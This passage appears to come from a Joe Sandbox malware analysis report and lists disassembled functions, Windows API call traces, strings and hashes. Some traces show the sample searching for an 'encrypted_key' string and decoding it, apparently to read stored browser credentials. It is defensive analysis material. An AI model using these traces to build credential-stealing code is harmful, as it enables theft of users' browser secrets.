Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 9e55017091b125dc91454f78489bf8db8af01eddf19e95d8f4e013d906f21ba3
Instruction ID: 4525737b69ce143f2e60f99d3c2acd8b319047d062e7219c7a511e00cbca22b4
Opcode Fuzzy Hash: 9e55017091b125dc91454f78489bf8db8af01eddf19e95d8f4e013d906f21ba3
Instruction Fuzzy Hash: 47510E7091014E9BCB18FF60C99AAFD7B79BF90340F508014E64A5B591EF786B46CB53

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 005F12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: fcd6c4fdfdfbcc4b5b49567044184d90b3b944fb8a4574844097fccaa96ded08
Instruction ID: 755435f8b355917b67ac6f26f9d31c1c8a71ec3ba85ff5ef50c556da2e7c2212
Opcode Fuzzy Hash: fcd6c4fdfdfbcc4b5b49567044184d90b3b944fb8a4574844097fccaa96ded08
Instruction Fuzzy Hash: B7C164B590011D9BCB18EF60DC8DFFA7B79BF94304F104598F60AA7241EA74AA85CF91

Function 005F4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F42EC
lstrcat.KERNEL32(?,0164DB78), ref: 005F430B
lstrcat.KERNEL32(?,?), ref: 005F431F
lstrcat.KERNEL32(?,0164C9B8), ref: 005F4333

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005F8D90: GetFileAttributesA.KERNEL32(00000000,?,005E1B54,?,?,0060564C,?,?,00600E1F), ref: 005F8D9F

Part of subcall function 005E9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005E9D39

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F93C0: GlobalAlloc.KERNEL32(00000000,005F43DD,005F43DD), ref: 005F93D3

StrStrA.SHLWAPI(?,0164DC68), ref: 005F43F3
GlobalFree.KERNEL32(?), ref: 005F4512

Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9AEF
Part of subcall function 005E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005E4EEE,00000000,?), ref: 005E9B01
Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9B2A
Part of subcall function 005E9AC0: LocalFree.KERNEL32(?,?,?,?,005E4EEE,00000000,?), ref: 005E9B3F

lstrcat.KERNEL32(?,00000000), ref: 005F44A3
StrCmpCA.SHLWAPI(?,006008D1), ref: 005F44C0
lstrcat.KERNEL32(00000000,00000000), ref: 005F44D2
lstrcat.KERNEL32(00000000,?), ref: 005F44E5
lstrcat.KERNEL32(00000000,00600FB8), ref: 005F44F4

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 30e79106349e1defa8734ae2ccc365d336b5b3a8f6d61a354abab53f8e7bb1aa
Instruction ID: 2657373e85ce8c402b2f735b9f3e131bd28fb0e7d438a3be066e22c67b13cfb2
Opcode Fuzzy Hash: 30e79106349e1defa8734ae2ccc365d336b5b3a8f6d61a354abab53f8e7bb1aa
Instruction Fuzzy Hash: 407114B6900209ABDB14EBA0DC89FFE7779BF88300F048598F61997181EA74DB45CF91

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
